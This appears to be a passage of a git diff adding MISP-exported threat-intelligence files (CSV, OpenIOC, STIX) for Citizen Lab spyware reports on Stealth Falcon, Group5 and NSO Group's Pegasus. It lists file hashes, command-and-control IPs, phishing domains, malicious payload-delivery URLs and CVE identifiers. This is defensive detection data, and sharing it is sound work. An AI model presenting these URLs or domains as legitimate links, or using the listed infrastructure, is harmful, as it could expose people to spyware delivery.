delivery: andrew.dwight389@outlook.com (MISP Attribute #440) + + + + + + + andrew.dwight389@outlook.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 80e8ef78b9e28015cde4205aaa65da97 (MISP Attribute #441) + Malware Artifacts + File Hash Watchlist + Payload delivery: 80e8ef78b9e28015cde4205aaa65da97 (MISP Attribute #441) + + + + + + + MD5 + 80e8ef78b9e28015cde4205aaa65da97 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 87e1df6f36b96b56186444e37e2a1ef5 (MISP Attribute #442) + Malware Artifacts + File Hash Watchlist + Payload delivery: 87e1df6f36b96b56186444e37e2a1ef5 (MISP Attribute #442) + + + + + + + MD5 + 87e1df6f36b96b56186444e37e2a1ef5 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: f25466e4820404c817eaf75818b7177891735886 (MISP Attribute #443) + Malware Artifacts + File Hash Watchlist + Payload delivery: f25466e4820404c817eaf75818b7177891735886 (MISP Attribute #443) + + + + + + + SHA1 + f25466e4820404c817eaf75818b7177891735886 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 1c3757006f972ca957d925accf8bbb3023550d1b (MISP Attribute #444) + Malware Artifacts + File Hash Watchlist + Payload delivery: 1c3757006f972ca957d925accf8bbb3023550d1b (MISP Attribute #444) + + + + + + + SHA1 + 1c3757006f972ca957d925accf8bbb3023550d1b + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 5a372b45285fe6f3df3ba277ee2de55d4a30fc8ef05de729cf464103632db40f (MISP Attribute #445) + Malware Artifacts + File Hash Watchlist + Payload delivery: 5a372b45285fe6f3df3ba277ee2de55d4a30fc8ef05de729cf464103632db40f (MISP Attribute #445) + + + + + + + SHA256 + 5a372b45285fe6f3df3ba277ee2de55d4a30fc8ef05de729cf464103632db40f + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 4320204d577ef8b939115d16110e97ff04cb4f7d1e77ba5ce011d43f74abc7be (MISP Attribute #446) + Malware Artifacts + File Hash Watchlist + Payload delivery: 4320204d577ef8b939115d16110e97ff04cb4f7d1e77ba5ce011d43f74abc7be (MISP Attribute #446) + + + + + + + SHA256 + 4320204d577ef8b939115d16110e97ff04cb4f7d1e77ba5ce011d43f74abc7be + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://aax.me/a6faa (MISP Attribute #1356) + Malware Artifacts + URL Watchlist + Payload delivery: http://aax.me/a6faa (MISP Attribute #1356) + + + + + http://aax.me/a6faa + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://cloud.openmailbox.org/index.php/s/ujDNWMmg8pdG3AL/authenticate (MISP Attribute #1357) + Malware Artifacts + URL Watchlist + Payload delivery: https://cloud.openmailbox.org/index.php/s/ujDNWMmg8pdG3AL/authenticate (MISP Attribute #1357) + + + + + https://cloud.openmailbox.org/index.php/s/ujDNWMmg8pdG3AL/authenticate + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://aax.me/d0dde (MISP Attribute #447) + Malware Artifacts + URL Watchlist + Payload delivery: http://aax.me/d0dde (MISP Attribute #447) + + + + + http://aax.me/d0dde + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + Event Threat Level: Medium + + + MISP Tag: TLP:GREEN + + + MISP Tag: SOURCE:CITIZENLAB + + + MISP Tag: DETECT + + + MISP Tag: PUBLISHED + + + + + citizenlab + + + https://citizenlab.org/2016/05/stealth-falcon/ + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201608_Group5/README.md b/data/ioc/spyware/citizen_lab/201608_Group5/README.md new file mode 100644 index 0000000..cbbb803 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201608_Group5/README.md @@ -0,0 +1,9 @@ +## Group5 IOCs + +This directory contains IOC from the Citizen Lab report ["Group5: Syria and the Iranian Connection"](https://citizenlab.org/2016/08/group5-syria/) published the 2nd of August 2016. + +Files included in this directory: +* openioc.ioc : IOCs in OpenIOC format +* stix.xml : IOCs in STIX XML format +* iocs.csv : IOCs in csv format +* hashes.csv : list of hashes diff --git a/data/ioc/spyware/citizen_lab/201608_Group5/hashes.csv b/data/ioc/spyware/citizen_lab/201608_Group5/hashes.csv new file mode 100644 index 0000000..82bbc49 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201608_Group5/hashes.csv @@ -0,0 +1,18 @@ +File,MD5,VirusTotal (26-Jul-2016),First Sub. on VT +assadcrimes.ppsx,76F8142B4E52C671871B3DF87F10C30C,N/A,N/A +putty.exe [stage1 downloader],366908F6C5C4F4329478D60586ECA5BC,N/A,N/A +dvm.exe [stage 2 payload],7D898530D2E77F15F5BADCE8D7DF215E,N/A,N/A +Unpacked dvm.exe,A4F1F4921BB11FF9D22FAD89B19B155D,N/A,N/A +NanoCore RAT payload,DD5BEDD915967C5EFE00733CF7478CB4,N/A,N/A +assadcrimes1.ppsx,F1F84EA3229DCA0CCACB7381A2F49F99,N/A,N/A +dvm.exe,7D898530D2E77F15F5BADCE8D7DF215E,N/A,N/A +assadcrimes.info.ppsx,30BB678DB3AD0140FC33ACD9803385C3,N/A,N/A +putty.exe,5C4EC3D93A664E4BFA1CE6286CCF0249,N/A,N/A +Unpacked putty.exe,6161083021B695814434450C1882F9F3,N/A,N/A +njRAT payload,B4121C3A1892332402000EF0D587C0EE,N/A,N/A +alshohadaa alatfal.exe [decoy app],2FC276E1C06C3C78C6D7B66A141213BE,N/A,N/A +dvm.exe [dropped by decoy app],494BAB7FD0B42B0B14051ED9ABBD651F,14 / 55,2-Mar-2016 +Unpacked dvm.exe,6161083021B695814434450C1882F9F3,N/A,N/A +njRAT payload,B4121C3A1892332402000EF0D587C0EE,N/A,N/A +Android Malicious APK (DroidJack),,, +adobe_flash_player.apk,8EBEB3F91CDA8E985A9C61BEB8CDDE9D,23 / 53,5-Jul-2016 diff --git a/data/ioc/spyware/citizen_lab/201608_Group5/iocs.csv b/data/ioc/spyware/citizen_lab/201608_Group5/iocs.csv new file mode 100644 index 0000000..e933418 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201608_Group5/iocs.csv @@ -0,0 +1,22 @@ +uuid,event_id,category,type,value,comment,to_ids,date +3f6407bd-cfd7-4bb6-9338-34132bdc3c62,9,Network activity,ip-dst,"88.198.222.163","C2 for malware dropped",1,20161108 +47690aa0-910d-478d-b0ea-fff1f40631ee,9,Payload delivery,md5,"8ebeb3f91cda8e985a9c61beb8cdde9d","adobe_flash_player.apk Droid Jack",1,20161108 +4bf52b9f-f004-4793-a0ba-bf1e211c089d,9,Payload delivery,md5,"76f8142b4e52c671871b3df87f10c30c","Assadcrimes.ppsx",1,20161108 +58223ba8-5da0-4111-8b1b-69fe8e96ca05,9,Payload delivery,email-src,"office@assadcrimes.info","email used for targeted phishing",1,20161108 +58223cbc-ec7c-43f6-a95a-69fe8e96ca05,9,Network activity,domain,"assadcrimes.info","Fake activist website used as a watering hole",1,20161108 +58223d3d-5864-453a-8c70-69fe8e96ca05,9,Payload delivery,vulnerability,"CVE-2014-4114","",0,20161108 +58223dcd-63c0-45f1-9516-69fe8e96ca05,9,Payload type,text,"njRat","",0,20161108 +58223dd5-ca58-4ad4-98d6-69fe8e96ca05,9,Payload type,text,"NanoCore RAT","",0,20161108 +58223e40-64f4-47ca-b56b-69fe8e96ca05,9,Payload type,text,"DroidJack","",0,20161108 +58223f8a-1820-476b-823c-497a8e96ca05,9,Network activity,ip-dst,"212.7.195.171","IP hosting assadcrimes.info website",0,20161108 +588e5189-3408-4430-b4de-7f3a04c1107b,9,Payload delivery,md5,"a4f1f4921bb11ff9d22fad89b19b155d","Doc Dropper 1 Crypter",1,20161108 +593c7165-8933-46ba-8b6b-36db6e65c1b3,9,External analysis,link,"https://citizenlab.org/2016/08/group5-syria/","",0,20161108 +7aa1122f-33ee-422b-acae-8820e0664fdb,9,Payload delivery,md5,"7d898530d2e77f15f5badce8d7df215e","second stage executable, saved to disk as %temp%\dwm.exe",1,20161108 +7af948f4-01b5-43f9-b9be-3746a9ce0fcf,9,Payload delivery,md5,"6161083021b695814434450c1882f9f3","Doc Dropper 3 Crypter",1,20161108 +87004645-e8b6-4b7e-a79b-ca643e1446ec,9,Payload delivery,md5,"494bab7fd0b42b0b14051ed9abbd651f","dvm.exe [dropped by decoy app]",1,20161108 +b02858c1-6bfb-4097-a00e-98182b0ec121,9,Payload delivery,md5,"b4121c3a1892332402000ef0d587c0ee","njRat binary",1,20161108 +b98003bc-640e-442e-99ec-8ab90190bd4c,9,Payload delivery,md5,"366908f6c5c4f4329478d60586eca5bc","putty.exe [stage1 downloader]",0,20161108 +dc028130-bdaf-462a-acd8-81f8ea0eec51,9,Payload delivery,md5,"f1f84ea3229dca0ccacb7381a2f49f99","Assadcrimes1.ppsx",1,20161108 +dd6a607c-1ffb-4f02-bf84-3cc3292f66b7,9,Payload delivery,md5,"2fc276e1c06c3c78c6d7b66a141213be","alshohadaa alatfal.exe",1,20161108 +e03c93a5-5b27-4242-8725-e82079d84a02,9,Payload delivery,md5,"30bb678db3ad0140fc33acd9803385c3","Assadcrimes.info.ppsx",1,20161108 +e900b943-c875-4125-b4a7-f53de2620468,9,Payload delivery,md5,"dd5bedd915967c5efe00733cf7478cb4","",1,20161108 diff --git a/data/ioc/spyware/citizen_lab/201608_Group5/openioc.ioc b/data/ioc/spyware/citizen_lab/201608_Group5/openioc.ioc new file mode 100644 index 0000000..24a1389 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201608_Group5/openioc.ioc @@ -0,0 +1,69 @@ + + + Event #9 + Group5: Syria and the Iranian Connection + + citizenlab + 2016-08-02T00:00:00 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201608_Group5/stix.xml b/data/ioc/spyware/citizen_lab/201608_Group5/stix.xml new file mode 100644 index 0000000..477988b --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201608_Group5/stix.xml @@ -0,0 +1,776 @@ + + + Export from MISP + Threat Report + + + + + + Group5: Syria and the Iranian Connection (MISP Event #9) + Threat Report + + + + Payload delivery: CVE-2014-4114 (MISP Attribute #1345) + + + + Vulnerability CVE-2014-4114 + + CVE-2014-4114 + + + + + + + Payload type: njRat (MISP Attribute #1346) + + + + njRat + + + + + + Payload type: NanoCore RAT (MISP Attribute #1347) + + + + NanoCore RAT + + + + + + Payload type: DroidJack (MISP Attribute #1348) + + + + DroidJack + + + + + + + + Group5: Syria and the Iranian Connection + 9 + + 2016-08-02T00:00:00+00:00 + 2016-11-08T16:13:31+00:00 + + Closed + + + Network activity + + Network activity: assadcrimes.info (MISP Attribute #1344) + Malware Artifacts + Domain Watchlist + Network activity: assadcrimes.info (MISP Attribute #1344) + + + + + assadcrimes.info + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 212.7.195.171 (MISP Attribute #1349) + Malware Artifacts + IP Watchlist + Network activity: 212.7.195.171 (MISP Attribute #1349) + + + + + 212.7.195.171 + + + + + + + + + + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 88.198.222.163 (MISP Attribute #449) + Malware Artifacts + IP Watchlist + Network activity: 88.198.222.163 (MISP Attribute #449) + + + + + 88.198.222.163 + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: office@assadcrimes.info (MISP Attribute #1343) + Malware Artifacts + Malicious E-mail + Payload delivery: office@assadcrimes.info (MISP Attribute #1343) + + + + + + + office@assadcrimes.info + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 366908f6c5c4f4329478d60586eca5bc (MISP Attribute #450) + Malware Artifacts + File Hash Watchlist + Payload delivery: 366908f6c5c4f4329478d60586eca5bc (MISP Attribute #450) + + + + + + + MD5 + 366908f6c5c4f4329478d60586eca5bc + + + + + + + + + + + + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 7d898530d2e77f15f5badce8d7df215e (MISP Attribute #451) + Malware Artifacts + File Hash Watchlist + Payload delivery: 7d898530d2e77f15f5badce8d7df215e (MISP Attribute #451) + + + + + + + MD5 + 7d898530d2e77f15f5badce8d7df215e + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: a4f1f4921bb11ff9d22fad89b19b155d (MISP Attribute #452) + Malware Artifacts + File Hash Watchlist + Payload delivery: a4f1f4921bb11ff9d22fad89b19b155d (MISP Attribute #452) + + + + + + + MD5 + a4f1f4921bb11ff9d22fad89b19b155d + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: dd5bedd915967c5efe00733cf7478cb4 (MISP Attribute #453) + Malware Artifacts + File Hash Watchlist + Payload delivery: dd5bedd915967c5efe00733cf7478cb4 (MISP Attribute #453) + + + + + + + MD5 + dd5bedd915967c5efe00733cf7478cb4 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: f1f84ea3229dca0ccacb7381a2f49f99 (MISP Attribute #454) + Malware Artifacts + File Hash Watchlist + Payload delivery: f1f84ea3229dca0ccacb7381a2f49f99 (MISP Attribute #454) + + + + + + + MD5 + f1f84ea3229dca0ccacb7381a2f49f99 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 30bb678db3ad0140fc33acd9803385c3 (MISP Attribute #455) + Malware Artifacts + File Hash Watchlist + Payload delivery: 30bb678db3ad0140fc33acd9803385c3 (MISP Attribute #455) + + + + + + + MD5 + 30bb678db3ad0140fc33acd9803385c3 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 6161083021b695814434450c1882f9f3 (MISP Attribute #457) + Malware Artifacts + File Hash Watchlist + Payload delivery: 6161083021b695814434450c1882f9f3 (MISP Attribute #457) + + + + + + + MD5 + 6161083021b695814434450c1882f9f3 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: b4121c3a1892332402000ef0d587c0ee (MISP Attribute #458) + Malware Artifacts + File Hash Watchlist + Payload delivery: b4121c3a1892332402000ef0d587c0ee (MISP Attribute #458) + + + + + + + MD5 + b4121c3a1892332402000ef0d587c0ee + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 2fc276e1c06c3c78c6d7b66a141213be (MISP Attribute #459) + Malware Artifacts + File Hash Watchlist + Payload delivery: 2fc276e1c06c3c78c6d7b66a141213be (MISP Attribute #459) + + + + + + + MD5 + 2fc276e1c06c3c78c6d7b66a141213be + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 494bab7fd0b42b0b14051ed9abbd651f (MISP Attribute #460) + Malware Artifacts + File Hash Watchlist + Payload delivery: 494bab7fd0b42b0b14051ed9abbd651f (MISP Attribute #460) + + + + + + + MD5 + 494bab7fd0b42b0b14051ed9abbd651f + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 8ebeb3f91cda8e985a9c61beb8cdde9d (MISP Attribute #461) + Malware Artifacts + File Hash Watchlist + Payload delivery: 8ebeb3f91cda8e985a9c61beb8cdde9d (MISP Attribute #461) + + + + + + + MD5 + 8ebeb3f91cda8e985a9c61beb8cdde9d + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 76f8142b4e52c671871b3df87f10c30c (MISP Attribute #462) + Malware Artifacts + File Hash Watchlist + Payload delivery: 76f8142b4e52c671871b3df87f10c30c (MISP Attribute #462) + + + + + + + MD5 + 76f8142b4e52c671871b3df87f10c30c + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + Payload delivery + + + + Payload type + + + + Payload type + + + + Payload type + + + + + + Event Threat Level: Medium + + + MISP Tag: TLP:GREEN + + + MISP Tag: SOURCE:CITIZENLAB + + + MISP Tag: DETECT + + + MISP Tag: PUBLISHED + + + + + citizenlab + + + https://citizenlab.org/2016/08/group5-syria/ + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201608_NSO_Group/README.md b/data/ioc/spyware/citizen_lab/201608_NSO_Group/README.md new file mode 100644 index 0000000..741897c --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201608_NSO_Group/README.md @@ -0,0 +1,8 @@ +## NSO Group IOCs + +This directory contains IOC from the Citizen Lab report ["The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender"](https://citizenlab.org/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/) published the 24th of August 2016. More information about the Pegasus malware can be found ini [Lookout report](https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf). + +Files included in this directory: +* openioc.ioc : IOCs in OpenIOC format +* stix.xml : IOCs in STIX XML format +* iocs.csv : IOCs in csv format diff --git a/data/ioc/spyware/citizen_lab/201608_NSO_Group/iocs.csv b/data/ioc/spyware/citizen_lab/201608_NSO_Group/iocs.csv new file mode 100644 index 0000000..41ae15f --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201608_NSO_Group/iocs.csv @@ -0,0 +1,63 @@ +uuid,event_id,category,type,value,comment,to_ids,date +029c89df-139e-463a-b1f1-c259b913d05f,10,Network activity,ip-dst,"52.8.153.44","IP linked to sms.webadv.co",1,20160824 +0d1164d5-7670-41da-8857-1247d0b67561,10,Network activity,domain,"redcrossworld.com","",1,20160824 +0f203872-71ec-4b51-ba56-c50918f71f39,10,Network activity,domain,"topcontactco.com","",1,20160824 +126c3480-6ad3-417f-9855-4e915b9ae528,10,Network activity,domain,"kenyasms.org","",1,20160824 +14df3986-e958-4612-ba2f-daa9fd95b868,10,Network activity,domain,"bahrainsms.co","",1,20160824 +17a374eb-20d6-4790-bee4-45b7073115f1,10,Network activity,domain,"icrcworld.com","",1,20160824 +208dbaaf-39c3-4930-8304-1c76e9b1e7b8,10,Network activity,ip-dst,"54.251.49.214","",1,20160824 +252cc33c-8786-4dee-b77a-af52acb1661b,10,Network activity,domain,"alawaeltech.com","",1,20160824 +27a5b383-3c23-4f93-9341-8dd8d90575f6,10,Network activity,ip-dst,"82.80.202.204","",1,20160824 +2ad610a4-2177-4e7f-b525-8621a80e2ebe,10,Network activity,domain,"icloudcacher.com","",1,20160824 +2f6d312b-8db7-4fa0-9522-cc68090b4a3b,10,Network activity,ip-dst,"52.8.52.166","IP behind aalaan.tv",1,20160824 +325e4a00-7b2f-4c27-bff2-89f390e3c13c,10,Network activity,domain,"asrararabiya.co","",1,20160824 +340ccd5a-2520-4ccb-abeb-b264fb2bf645,10,Network activity,domain,"mail1.nsogroup.com","",1,20160824 +58222e62-1020-4d67-b83f-49798e96ca05,10,Payload delivery,url,"https://sms.webadv.co/3589003s/","link delivered by sms",1,20160824 +58222e78-135c-434e-966e-49798e96ca05,10,Payload delivery,url,"https://sms.webadv.co/9573305s/","link delivered by sms",1,20160824 +58223036-8d6c-4c3e-a427-497a8e96ca05,10,Network activity,domain,"alljazeera.co","",1,20160824 +582230b8-049c-47ec-90e2-497a8e96ca05,10,Network activity,domain,"googleplay-store.com","",1,20160824 +582230b8-0880-4c1c-a507-497a8e96ca05,10,Network activity,domain,"bulbazaur.com","",1,20160824 +582230b8-0cf8-4c54-8e57-497a8e96ca05,10,Network activity,domain,"checkinonlinehere.com","",1,20160824 +582230b8-2670-47d2-8389-497a8e96ca05,10,Network activity,domain,"univision.click","",1,20160824 +582230b8-36e4-4843-93db-497a8e96ca05,10,Network activity,domain,"turkishairines.info","",1,20160824 +582230b8-3754-42c7-af73-497a8e96ca05,10,Network activity,domain,"newtarrifs.net","",1,20160824 +582230b8-6748-496e-a951-497a8e96ca05,10,Network activity,domain,"bbc-africa.com","",1,20160824 +582230b8-7c38-47df-b3b1-497a8e96ca05,10,Network activity,domain,"fb-accounts.com","",1,20160824 +582230b8-839c-4f04-949e-497a8e96ca05,10,Network activity,domain,"cnn-africa.co","",1,20160824 +582230b8-8440-4d71-97b4-497a8e96ca05,10,Network activity,domain,"emiratesfoundation.net","",1,20160824 +582230b8-8640-4db9-8cdf-497a8e96ca05,10,Network activity,domain,"mz-vodacom.info","",1,20160824 +582230b8-93cc-4f2b-8ae4-497a8e96ca05,10,Network activity,domain,"iusacell-movil.com.mx","",1,20160824 +582230b8-a9f4-4590-bb10-497a8e96ca05,10,Network activity,domain,"pickuchu.com","",1,20160824 +582230b8-aa70-4ee9-8fad-497a8e96ca05,10,Network activity,domain,"y0utube.com.mx","",1,20160824 +582230b8-c5ac-4743-862b-497a8e96ca05,10,Network activity,domain,"sabafon.info","",1,20160824 +582230b8-ceec-4dcb-8c51-497a8e96ca05,10,Network activity,domain,"track-your-fedex-package.org","",1,20160824 +582230b8-e524-449e-8e0c-497a8e96ca05,10,Network activity,domain,"accounts.mx","",1,20160824 +582230b8-e9e0-4a50-b94c-497a8e96ca05,10,Network activity,domain,"unonoticias.net","",1,20160824 +582230b8-ecc8-4bce-966d-497a8e96ca05,10,Network activity,domain,"adjust-local-settings.com","",1,20160824 +582230b8-fbc0-42e5-b56c-497a8e96ca05,10,Network activity,domain,"whatsapp-app.com","",1,20160824 +58223264-6050-4883-8676-497a8e96ca05,10,Network activity,domain,"damanhealth.online","",1,20160824 +5822327c-2050-46cb-b310-497a8e96ca05,10,Network activity,domain,"uaenews.online","",1,20160824 +58223346-c23c-4751-9d82-69fe8e96ca05,10,Payload delivery,url,"http://fb-accounts.com/2408931s/","",1,20160824 +58223375-b860-4462-9d5a-49798e96ca05,10,Payload delivery,url,"http://unonoticias.net/1867745s/","",1,20160824 +582233be-b3c8-4238-82b5-49798e96ca05,10,Payload delivery,url,"https://ideas-telcel.com.mx/3975827s/","",1,20160824 +582233c5-8108-41eb-ba12-49798e96ca05,10,Network activity,domain,"ideas-telcel.com.mx","",1,20160824 +58223592-ad84-44d5-9e29-49798e96ca05,10,Payload delivery,url,"nation-news.com/4077017s/","",1,20160824 +582235a0-ea0c-4301-b87b-49798e96ca05,10,Network activity,domain,"nation-news.com","",1,20160824 +6540311c-8872-47a3-ada2-24757eaa35ee,10,Network activity,domain,"turkeynewsupdates.com","",1,20160824 +73293a7a-acd5-47a0-81b6-a73f6dde67e1,10,Payload delivery,domain,"manoraonline.net","NSO anonymizer relay",1,20160824 +7d63d6cb-90dc-454c-a505-a313150c1426,10,Network activity,domain,"qaintqa.com","",1,20160824 +7db51886-46b4-496f-86fd-6b75a7b5f8c8,10,Network activity,ip-dst,"82.80.202.200","",1,20160824 +7dd57279-a151-44d4-a21d-bb62ee3435aa,10,Payload delivery,url,"http://fb-accounts.com/1074139s/","",1,20160824 +812c4cbf-60a7-431d-ae7a-a9fd1d6044aa,10,Network activity,domain,"nsoqa.com","",1,20160824 +96bd845b-b8a7-4c91-92e1-c9060cc01239,10,Network activity,url,"https://smser.net/9918216t/","",1,20160824 +9a804548-73c4-4258-9b88-51f952f75d17,10,Network activity,domain,"asrararablya.com","",1,20160824 +9be3a48f-e540-43f8-a2c0-8dc915a3dd48,10,Network activity,domain,"ooredoodeals.com","",1,20160824 +9c494d42-797d-4c62-978a-8a888fb179c8,10,Network activity,domain,"asrarrarabiya.com","",1,20160824 +a2f8ef48-d6f7-46b1-9ee0-71fcb1c65cb9,10,Network activity,domain,"thainews.asia","",1,20160824 +c9181cb8-1400-47e1-b45b-fc4d17cebe52,10,Network activity,url,"https://smser.net/redirect.aspx","",1,20160824 +ca1121b7-d273-4aac-83e8-e69b4bce5604,10,Payload delivery,domain,"sms.webadv.co","",1,20160824 +cb442bf4-0d18-4d60-b1a7-e0fe5c7614fa,10,Network activity,ip-dst,"162.209.103.68","IP behind manoraonline.net",1,20160824 +cd9ef05f-b3ea-41c2-a750-a431f9dfb508,10,Network activity,domain,"smser.net","",1,20160824 +cdde7699-d231-458d-80a5-338b9e985702,10,Payload delivery,domain,"aalaan.tv","NSO anonymizer relay",1,20160824 +eed4deb8-c8a8-4722-8e29-8ba5772e3059,10,Payload delivery,url,"http://unonoticias.net/3423768s/","",1,20160824 +f13b8f95-e6ca-47a8-8c25-fe1f4817a439,10,Network activity,domain,"webadv.co","",1,20160824 diff --git a/data/ioc/spyware/citizen_lab/201608_NSO_Group/openioc.ioc b/data/ioc/spyware/citizen_lab/201608_NSO_Group/openioc.ioc new file mode 100644 index 0000000..df4516f --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201608_NSO_Group/openioc.ioc @@ -0,0 +1,261 @@ + + + Event #10 + The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender + + citizenlab + 2016-08-24T00:00:00 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201608_NSO_Group/stix.xml b/data/ioc/spyware/citizen_lab/201608_NSO_Group/stix.xml new file mode 100644 index 0000000..7cd317b --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201608_NSO_Group/stix.xml @@ -0,0 +1,2302 @@ + + + Export from MISP + Threat Report + + + + + + The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender (MISP Event #10) + Threat Report + + + + External analysis: CVE-2016-4656 (MISP Attribute #463) + An application may be able to execute arbitrary code with kernel privileges + + + + An application may be able to execute arbitrary code with kernel privileges + + CVE-2016-4656 + + + + + + + External analysis: CVE-2016-4655 (MISP Attribute #464) + An application may be able to disclose kernel memory + + + + An application may be able to disclose kernel memory + + CVE-2016-4655 + + + + + + + External analysis: CVE-2016-4657 (MISP Attribute #465) + Visiting a maliciously crafted website may lead to arbitrary code execution + + + + Visiting a maliciously crafted website may lead to arbitrary code execution + + CVE-2016-4657 + + + + + + + Payload type: Pegasus (MISP Attribute #1313) + NSO Group product + + + + Pegasus + + + + + + + + The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender + 10 + + 2016-08-24T00:00:00+00:00 + 2016-11-08T15:31:51+00:00 + + Closed + + + Attribution + + Attribution: NSO Group (MISP Attribute #498) + Malware Artifacts + Attribution: NSO Group (MISP Attribute #498) + + + + + + + + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: alljazeera.co (MISP Attribute #1314) + Malware Artifacts + Domain Watchlist + Network activity: alljazeera.co (MISP Attribute #1314) + + + + + alljazeera.co + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: bbc-africa.com (MISP Attribute #1315) + Malware Artifacts + Domain Watchlist + Network activity: bbc-africa.com (MISP Attribute #1315) + + + + + bbc-africa.com + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: cnn-africa.co (MISP Attribute #1316) + Malware Artifacts + Domain Watchlist + Network activity: cnn-africa.co (MISP Attribute #1316) + + + + + cnn-africa.co + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: unonoticias.net (MISP Attribute #1317) + Malware Artifacts + Domain Watchlist + Network activity: unonoticias.net (MISP Attribute #1317) + + + + + unonoticias.net + + + + + + + + + + + 